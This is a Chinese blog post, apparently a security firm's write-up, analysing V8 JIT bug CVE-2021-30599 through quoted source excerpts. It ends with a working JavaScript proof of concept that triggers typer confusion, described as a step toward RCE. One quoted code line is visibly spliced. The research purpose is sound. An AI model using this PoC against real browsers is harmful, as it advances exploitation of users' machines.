在v8环境搭完后
git reset --hard 27a517b8922915f53d479133205ee80b35ac2feb
gclient sync
static base::Optional<BitfieldCheck> Detect(Node* node) {
// There are two patterns to check for here:
// 1. Single-bit checks: `(val >> shift) & 1`, where:
// - the shift may be omitted, and/or
// - the result may be truncated from 64 to 32
// 2. Equality checks: `(val & mask) == expected`, where:
// - val may be truncated from 64 to 32 before masking (see
// ReduceWord32EqualForConstantRhs)
if (node->opcode() == IrOpcode::kWord32Equal) {
Uint32BinopMatcher eq(node);
if (eq.left().IsWord32And()) {
Uint32BinopMatcher mand(eq.left().node());
if (mand.right().HasResolvedValue() && eq.right().HasResolvedValue()) {
BitfieldCheck result{mand.left().node(), mand.right().ResolvedValue(),
eq.right().ResolvedValue(), false};
[ ... ]
可以看到对于(val & mask) == expected这种操作会被替换为BitfieldCheck,然后在一些情况下,两个BitfieldCheck会合并成一个,比如((x & 0) == 1) & ((x & 1) == 0),这样的情况就会由二合一,但是漏洞也是在合并过程中产生的。
base::Optional<BitfieldCheck> TryCombine(const BitfieldCheck& other) {
if (source != other.source ||
truncate_from_64_bit != other.truncate_from_64_bit)
return {};
uint32_t overlapping_bits = mask & other.mask;
// It would be kind of strange to have any overlapping bits, but they can be
// allowed as long as they don't require opposite values in the same
// positions.
if ((masked_value & overlapping_bits) !=
(other.masked_value & overlapping_bits)) <---------[1]
return {};
return BitfieldCheck{source, mask | other.mask, <------------[2]
masked_value | other.masked_value,
truncate_from_64_bit};
}
我们可以看到满足[1]处的检查之后就会由[2]完成合并BitfieldCheck的操作,但是这个检查靠谱吗?
对 (x & A) == B来说,masked_value就是B,mask就是A(猜测)。
overlapping_bits = mask & other.mask,这一条件当mask1和mask2的bit的集合完全没有交集时,overlapping_bits就成了0。那么masked_value & overlapping_bits中无论masked_value多大,结果都是0,所以[1]处的判断在overlapping_bits == 0时是不成立的,那么这会导致之后的合并结果出错吗?
答案显然是会的,思考((x & 0) == 1) & ((x & 1) == 0)经优化后会成为(x & (1|0)) == (1|0) => (x & 1) == 1,与优化前,也就是合并前的结果是截然不同的。
要想达到rce的效果需要与CVE-2021-30598中对typer的patch结合才行,不然绕不掉CheckBounds(CheckMap)没法越界。我们先构造到typer认为x == 0, y == 0, 但是 (x&y) == 1的地步,下面描述下漏洞作者的记录。
首先最简单的做法就是做一个明显无法成真的等式,来赋值x和y满足以上,比如 (a & 1) == 42,这个显然无论a为多少都会得到0,但是正是因为如此,在优化过程中会触发常量折叠导致直接从一个等式变为了常量false,我们虽然可以通过let x = bool_var |0 来使得false变为0,但也会使得后续无法进展。
所以我们需要使用不是特别明显只有一种结果的等式,比如(a & 5) == 2 and (a & 6) == 1这样二者合并后,(a & 7) == 3,在a=3时结果为1,但这还远远不够。
其实我们可以引入一个不确定变量来防止前期优化阶段的常量折叠,比如上面的a就是给优化的函数传入的参数,因为不确定a到底是多少所以就不会被折叠掉。但是因为优化的原因当我们多次传入同一个数时,他还是会按传入的数去优化直接替换成对应的数。类似的还有把直接用0,改为o1 = {a : 0},然后用o1.a去替代0的位置,但是这个虽然在typer阶段不会被折叠,但是在后续的优化阶段还是会被识破的,比如LoadElimination阶段会把其直接替换成常量0。
真正可以用上的方法是string的下标取值操作,array-length节点会很晚才被常量折叠掉,不过因为如此操作产生typer的是CheckBounds节点,显然不属于哪个变量,我们无法直接使用,ReduceSpeculativeNumberOperation中会将CheckBounds节点替换成NumberConstant节点。
Reduction RedundancyElimination::ReduceSpeculativeNumberOperation(Node* node) {
DCHECK(node->opcode() == IrOpcode::kSpeculativeNumberAdd ||
node->opcode() == IrOpcode::kSpeculativeNumberSubtract ||
node->opcode() == IrOpcode::kSpeculativeSafeIntegerAdd ||
node->opcode() == IrOpcode::kSpeculativeSafeIntegerSubtract ||
node->opcode() == IrOpcode::kSpeculativeToNumber);
DCHECK_EQ(1, node->op()->EffectInputCount());
DCHECK_EQ(1, node->op()->EffectOutputCount());
Node* const first = NodeProperties::GetValueInput(node, 0);
Node* const effect = NodeProperties::GetEffectInput(node);
EffectPathChecks const* checks = node_checks_.Get(effect);
// If we do not know anything about the predecessor, do not propagate just yet
// because we will have to recompute anyway once we compute the predecessor.
if (checks == nullptr) return NoChange();
// Check if there's a CheckBounds operation on {first}
// in the graph already, which we might be able to
// reuse here to improve the representation selection
// for the {node} later on.
if (Node* check = checks->LookupBoundsCheckFor(first)) {
// Only use the bounds {check} if its type is better <----------[1]
// than the type of the {first} node, otherwise we
// would end up replacing NumberConstant inputs with
// CheckBounds operations, which is kind of pointless.
if (!NodeProperties::GetType(first).Is(NodeProperties::GetType(check))) {
NodeProperties::ReplaceValueInput(node, check, 0);
}
}
return UpdateChecks(node, checks);
}
为了触发ReduceSpeculativeNumberOperation函数,我们需要创造出那几个特定的节点,比如SpeculativeNumberAdd,通过x + (o.cf ? "" : 0)操作可以达到,cf是false。
但是这么做也有问题,那就是当CheckBounds被替换为新节点后需要再一次typer来给替换上的节点加上type,而以上做法并不会触发再一次typer,解决方法如下。
However, there is an additional problem: While the CheckBounds-node is inserted, the type of the addition itself actually never gets updated, as there is nothing to trigger a re-typing.
This can be fixed by adding a larger number like 2**30, which will result in a NumberOperationHint of kNumber instead of kSignedSmall, which will make typed-optimization.cc change the node into a regular NumberAdd during the LoadElimination-phase.
对应代码
Reduction TypedOptimization::ReduceSpeculativeNumberAdd(Node* node) {
...
NumberOperationHint hint = NumberOperationHintOf(node->op());
if ((hint == NumberOperationHint::kNumber ||
hint == NumberOperationHint::kNumberOrOddball) &&
BothAre(lhs_type, rhs_type, Type::PlainPrimitive()) &&
NeitherCanBe(lhs_type, rhs_type, Type::StringOrReceiver())) {
// SpeculativeNumberAdd(x:-string, y:-string) =>
// NumberAdd(ToNumber(x), ToNufunction bar(a, arg_true) {
Node* const toNum_lhs = ConvertPlainPrimitiveToNumber(lhs);
Node* const toNum_rhs = ConvertPlainPrimitiveToNumber(rhs);
Node* const value =
graph()->NewNode(simplified()->NumberAdd(), toNum_lhs, toNum_rhs);
ReplaceWithValue(node, value);
return Replace(value);
}
return NoChange();
}
当然为了防止常量折叠使得我们一次加一次减直接被优化消失掉,我们还需要引入一个未知变量,所以我们可以把原本2**30的地方改为2**30 - (c0&1),这样(o.cf ? "" : (2**30) - (o.c0&1)) - (2**30)最后的type就是Range(-1, 0)而不是(0, 0),还能防止被优化掉。
如果我们用以上操作设置x和y的值之后,那么二者type都是Range(-1, 0),看下x&y后的type。
Type OperationTyper::NumberBitwiseAnd(Type lhs, Type rhs) {
...
double min = kMinInt;
// And-ing any two values results in a value no larger than their maximum.
// Even no larger than their minimum if both values are non-negative.
double max =
lmin >= 0 && rmin >= 0 ? std::min(lmax, rmax) : std::max(lmax, rmax);
// And-ing with a non-negative value x causes the result to be between
// zero and x.
if (lmin >= 0) {
min = 0;
max = std::min(max, lmax);
}
if (rmin >= 0) {
min = 0;
max = std::min(max, rmax);
}
return Type::Range(min, max, zone());
}
显然x&y后的type是Range(-1, 0),实际是1,但是二者的所在优化阶段产生了冲突,为了以上的情况能够得以实现,下面还需要其他操作,这里有些细节导致难度加大。
我们可以使用Math.min(2**32-1, x+(2**32-1)) - (2**32-1),之后可以使得typer知道这里不会有正数结果,这是在最开始的typer阶段就可以确定的,在后面同样用其他手段使得在对应阶段也是这个Range。
之后为了得到Range(0, 0)实际值是-1的变量,我们先使用其和-1进行Max运算,然后再取反并右移31位。
完整Poc如下:
function bar(a, arg_true) {
let o = {c0: 0, cf: false};
let x = ((a&5)==2)|0;
let y = ((a&6)==1)|0;
"a"[x];"a"[y]; // generate CheckBounds()
x = x + (o.cf ? "" : (2**30) - (o.c0&1)) - (2**30); // type is Range(-1,0), but only after LoadElimination
y = y + (o.cf ? "" : (2**30) - (o.c0&1)) - (2**30);
x = Math.min(2**32-1, x + (2**32-1)) - (2**32-1); // type is Range(-1,0) already during Typer
y = Math.min(2**32-1, y + (2**32-1)) - (2**32-1);
let confused = Math.max(-1,x & y); // type is Range(..., 0), really is 1
confused = Math.max(-1, confused); // type is Range(-1, 0), really is 1
confused = ((0-confused)>>31); // type is Range(0, 0), really is -1
return confused;
}
console.log(bar(3, true));
for (var i = 0; i < 3*10**4; i+=1) bar(0,true);
console.log(bar(3,true));
以上并不是达到rce的完整exp,还需要iterator.next的配合。
往期 · 推荐



原文始发于微信公众号(星阑科技):【技术干货】Chrome-V8-CVE-2021-30599